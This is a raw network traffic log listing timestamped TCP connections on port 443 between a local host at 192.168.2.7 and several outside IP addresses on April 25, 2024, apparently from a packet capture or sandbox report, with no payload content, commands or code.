Apr 25, 2024 20:36:57.828190088 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.828197002 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.828237057 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.960696936 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.960722923 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.960762024 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.960793018 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.960808039 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.960836887 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.960846901 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.960879087 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.961604118 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.961616993 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.073678970 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:58.073797941 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.073874950 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:58.074332952 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:58.074372053 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.075918913 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.116127968 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.197967052 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.198086977 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.198190928 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.198327065 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.198358059 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.198385000 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.201117039 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.201127052 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.207242966 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.207266092 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.207530975 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.207870960 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.207884073 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.348725080 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.349145889 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:58.349204063 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.349592924 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.350498915 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:58.350569010 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.351164103 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:58.351203918 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:58.447280884 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.447773933 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.447798014 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.448270082 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.448904037 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.448987007 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.449388027 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.496125937 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.716804028 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.716933012 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.716984987 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.717011929 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.717261076 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:58.717314959 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.718226910 CEST	49755	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:58.718238115 CEST	443	49755	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:59.065051079 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065085888 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065099955 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065114021 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065129042 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.065196991 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065231085 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.065256119 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.065422058 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065445900 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065491915 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.065506935 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.065534115 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.065555096 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.198056936 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.198157072 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.198180914 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.198184967 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.198215008 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.198240042 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.227515936 CEST	49754	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.227555990 CEST	443	49754	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.339767933 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.339813948 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:36:59.339867115 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.341787100 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.341794968 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:36:59.348397970 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.348423958 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.348493099 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.349430084 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.349441051 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.386142969 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.386168003 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.386220932 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.386893988 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.386905909 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.387877941 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.387902975 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.387954950 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.388175011 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.388187885 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.622817993 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.623372078 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.623388052 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.623852015 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.624560118 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.624624014 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.624985933 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.625006914 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.658086061 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.658986092 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.658999920 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.659483910 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.660178900 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.660636902 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.660636902 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.660667896 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.660727024 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.660752058 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.660762072 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.661767960 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.662103891 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.662276030 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.662319899 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.662586927 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.662591934 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:59.680728912 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:36:59.681180954 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.681189060 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:36:59.682189941 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:36:59.682346106 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.683774948 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.683820009 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:36:59.703409910 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.703803062 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:59.736116886 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.736125946 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:36:59.781555891 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:36:59.966191053 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.015918970 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.015937090 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.054702997 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.054749012 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.054775953 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.054877996 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.054878950 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.054903030 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.054944992 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.054972887 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.055078983 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.056549072 CEST	49757	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.056562901 CEST	443	49757	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.062797070 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.064078093 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064121008 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064131021 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064143896 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064171076 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064197063 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.064203978 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064229965 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.064382076 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064413071 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.064414024 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064426899 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.064444065 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.064812899 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.098072052 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098108053 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098124981 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098157883 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.098174095 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098192930 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098206997 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.098212004 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098238945 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098247051 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.098247051 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.098397970 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.098484993 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.099088907 CEST	49759	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.099101067 CEST	443	49759	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.197396994 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.197460890 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.197521925 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.197535038 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.197561026 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.197685003 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.198218107 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.198261976 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.198345900 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.198345900 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.198353052 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.198508978 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.237238884 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.237267971 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.237370014 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.237370014 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.237380981 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.237468004 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.329904079 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.329968929 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.330053091 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.330053091 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.330066919 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.330208063 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.332025051 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.332075119 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.332106113 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.332110882 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.332137108 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.332185984 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.332566023 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.332628012 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.332665920 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.332672119 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.332691908 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.332837105 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.333162069 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.333259106 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.333300114 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.333303928 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.333323002 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.333597898 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.333600998 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.333626986 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.333662033 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.333682060 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.333717108 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.333720922 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.333745956 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.333818913 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.370049000 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.370069027 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.370129108 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.370136976 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.370290995 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.370572090 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.370592117 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.370807886 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.370814085 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.370975971 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.462347984 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.462383032 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.462516069 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.462527037 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.462794065 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.462815046 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.462893963 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.462893963 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.462901115 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.462977886 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.464466095 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.464481115 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.464752913 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.464760065 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.464838982 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.465624094 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.465639114 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.465781927 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.465789080 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.465866089 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.466734886 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.466751099 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.466867924 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.466873884 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.466957092 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.467545033 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.467557907 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.467654943 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.467664003 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.467832088 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.468553066 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.468568087 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.468835115 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.468842030 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.469006062 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.469084024 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.469098091 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.469166994 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.469166994 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.469172001 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.469245911 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.469734907 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.469750881 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.469837904 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.469842911 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.469932079 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.470446110 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.470460892 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.470818996 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.470824003 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.470952988 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.502681017 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.502742052 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.502793074 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.502801895 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.502824068 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.502877951 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.503369093 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.503416061 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.503448963 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.503453970 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.503496885 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.503496885 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.504046917 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.504087925 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.504122972 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.504127979 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.504158020 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.504400015 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.504739046 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.504790068 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.504827976 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.504832029 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.504878998 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.504878998 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.595668077 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.595694065 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.595745087 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.595757008 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.595779896 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.595824957 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.596223116 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.596240044 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.596303940 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.596307993 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.596344948 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.596951008 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.596966982 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.597065926 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.597071886 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.597152948 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.597671986 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.597702980 CEST	443	49758	138.124.184.68	192.168.2.7
